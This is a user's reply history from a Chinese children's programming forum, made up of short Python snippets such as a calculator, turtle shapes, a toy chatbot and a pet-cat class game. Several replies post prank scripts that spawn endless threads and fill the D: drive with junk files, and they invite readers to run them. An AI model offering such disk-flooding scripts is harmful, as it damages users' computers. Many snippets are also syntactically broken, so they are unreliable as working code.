
Lv.1
只是喜欢Python而已……徒弟:程序侯
签名:只是喜欢Python而已…… 徒弟:程序侯
在 【Python作品分享】计算器【作品秀】 中回复
while 1:
a=int(input('请输入第一个数'))
f=input('请输入符号')
b=int(input('请输入第二个数'))
print({'+':a+b,'-':a-b,'*':a*b,'/':a/b}.get(f,default='没有此选项'))2020-04-07T15:45:46 点赞:0
在 【Python作品分享】高效制作8边形【作品秀】 中回复
from tutlr import *
speed('fastest')
circle(100,sides=8)2020-04-07T15:50:37 点赞:0
在 【MC不倒封面店】免费做封面,今日单今日交~ 中回复
def f(**kw):
print('书名:',kw[name])
print('作者:',kw[writer])
print('图案要求:',kw[picture])
print('小字:',kw[word])
f(name='Kitten实验室',writer=1048576,picture='有编程猫',word='Kitten的那些事')2020-04-07T16:00:36 点赞:0
在 【Python作品分享】计算器【作品秀】 中回复
print(' '.join(['{i}*{j}={pro}'.format(i=i,j=j,pro=i*j) for i in range(1,10) for j in range(1,10) if i>=j]))2020-04-07T16:44:56 点赞:0
在 【Python作品分享】新的作品【作品秀】 中回复
def 1_0 ():
if input("确认"):
print("好的")
else:
print("那是客观事实")
print("已进入文件监狱")
i=0
while True:
with open('D:\'+str(i)+'.txt','w') as file:
file.write('哈哈'*6666)
i+=6662020-04-09T12:00:07 点赞:0
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
import random
while 1:
question = input('你:')
if (question == '你叫什么' or question == '你是谁'):
print('AI:我是1048576的使者')
elif ('什么' in question or '神马' in question or 'what' in question):
print((('AI:' + question.喵('??吗什么神马what')).replace('你', '我') + random.choice(('宇宙', '地球', '人',
'猪', '老鼠', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know'))))
else:
print(('AI:' + question.replace('是', random.choice(('是', '不是'))).replace('会',random.choice(('会', '不会'))).replace('有', random.choice(('有', '没有'))).replace('你', '我').喵('??吗').__add__('!')))2020-04-10T08:29:34 点赞:0
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
import threading
def run():
i=0
while 1:
i+=1
with open('D:\'+str(i)+'.txt','w') as f:
f.write('(ಡωಡ)hiahiahia')
while True:
threading.Thread(target=run).start()
#(ಡωಡ)hiahiahia你运行它试试(ಡωಡ)hiahiahia2020-04-10T08:30:16 点赞:0
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
#include <stdio.h>
int main{
string a=0
while(true){
scanf('%s',&a)
printf(a+'\n')
}
}2020-04-10T08:40:35 点赞:0
在 病毒!小心! 中回复
import threading,random
def run(x):
i=0
while 1:
i+=x
with open('D:\\'+str(i)+'.'+chr(random.randint(65,90)),'w',encoding='utf-8') as f:
f.write('(ಡωಡ)hiahiahia')
while True:
threading.Thread(target=run,args=(random.randint(1000,20000),)).start()2020-04-10T08:59:58 点赞:0
在 【Python作品分享】五角星 中回复
from turtle import *
for i in range(100,600,100):
for j in range(5):
fd(i)
left(144)2020-04-10T09:06:46 点赞:0
在 【Python作品分享】诸葛炎龙(聊天程序)【作品秀】 中回复
import random
while 1:
question = input('你:')
if (question == '你叫什么' or question == '你是谁'):
print('AI:我是1048576的使者')
elif ('什么' in question or '神马' in question or 'what' in question):
print((('AI:' + question.喵('??吗什么神马what')).replace('你', '我') + random.choice(('宇宙', '地球', '人',
'猪', '老鼠', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know'))))
else:
print(('AI:' + question.replace('是', random.choice(('是', '不是'))).replace('会',random.choice(('会', '不会'))).replace('有', random.choice(('有', '没有'))).replace('你', '我').喵('??吗').__add__('!')))2020-04-10T09:08:50 点赞:0
在 【Python作品分享】初识类【作业帖】 中回复
import time
class Animal:
def __init__(self,Type,color):
self.Type=Type
self.color=color
class Cat(Animal):
def __init__(self,color):
super().__init__('CAT',color)
def miaow(self):
print('喵~')
class codemao(Cat):
def code(self,Type,Time):
print('喵~')
time.sleep(Time)
print('好啦!喵~')2020-04-10T09:28:30 点赞:0
在 求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复
import time,threading,random
class Cat:
def __init__(self,Type,name):
self.Type = Type
self.name = name
self.hungryValue = 100
self.happyValue = 100
self.IQ = 50
def cry(self):
print('喵~呜~(伤心)')
def happy(self):
print('喵~(快乐)')
def hungry(self):
print('喵~咕噜噜~(饿了)')
def study(self):
print('喵~')
self.IQ+=5
def eat(self,food):
self.hungryValue += food*3
class SingCat(Cat):
def __init__(self, Type, name):
self.Type = Type
self.name = name
self.hungryValue = 100
self.happyValue = 100
self.IQ = 100
def sing(self):
print('啦啦啦')
evaluate = input('我唱的好不好啊?')
if evaluate == '好':
self.happyValue = min(100,happyValue+10)
self.happy()
elif evaluate == '不好':
print('喵~我可能还需要学习')
self.happyValue-=15
self.IQ+=10
class CodeMao(SingCat):
def __init__(self, Type, name):
self.Type = Type
self.name = name
self.hungryValue = 100
self.happyValue = 100
self.IQ = 200
def code(self,time):
for i in range(int(time)):
print('打代码ing')
time.sleep(1)
self.happyValue = min(100, happyValue+10)
self.happy()
self.IQ += 10
class AICodeMao(CodeMao):
def __init__(self, Type, name):
self.Type = Type
self.name = name
self.hungryValue = 100
self.happyValue = 100
self.IQ = 400
def SuperStudy(self,times):
for i in range(int(times)):
IQ+=0.01
time.sleep(0.005)
class Person:
def __init__(self):
self.food=0
self.Cat=Cat('可爱','喵喵')
def work(self):
print('今天,你赚了¥200,买了10袋喵粮')
self.food+=10
def see(person):
while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
print('喵喵的饥饿值=', person.Cat.hungryValue)
print('喵喵的开心度=', person.Cat.happyValue)
print('喵喵的IQ=', person.Cat.IQ)
time.sleep(5)
def catset(person):
while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
time.sleep(3)
person.Cat.happyValue -= 1
if person.Cat.happyValue <= 20:
person.Cat.cry()
if person.Cat.happyValue <0:
print('我这么伤心,你不来安慰我么?')
person.Cat.hungryValue -= 2
if person.Cat.hungryValue <= 20:
person.Cat.hungry()
if person.Cat.hungryValue < 0:
print('我这么饿!')
def main(person):
cls=1
while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
if a == '1':
if cls>=1:
person.Cat.happy()
person.Cat.happyValue += 5
if cls>=2:
person.Cat.sing()
person.Cat.happyValue += 5
if cls>=3:
person.Cat.code(random.randint(1,5))
elif a == '2':
if cls == 4:
person.Cat.SuperStudy(random.randint(1, 5)*200)
else:
person.Cat.study()
elif a == '3':
person.Cat.eat(person.food)
elif a == '4':
time.sleep(3)
person.work()
if person.Cat.IQ >=400:
print('恭喜你,喵喵已升级为AI编程猫')
person.Cat = AICodeMao('可爱', '喵喵')
elif person.Cat.IQ >= 200:
print('恭喜你,喵喵已升级为编程猫')
person.Cat = CodeMao('可爱', '喵喵')
elif person.Cat.IQ >= 100:
print('恭喜你,喵喵已升级为唱歌喵')
person.Cat = SingCat('可爱', '喵喵')
else:
person.Cat = Cat('可爱', '喵喵')
time.sleep(1.5)
p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()2020-04-10T13:57:32 点赞:0
在 【Python作品分享】逗你玩(才怪)【作品秀】 中回复
顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶
2020-04-10T14:10:17 点赞:1
在 完整还原box编辑器 中回复
2020-04-10T14:36:05 点赞:0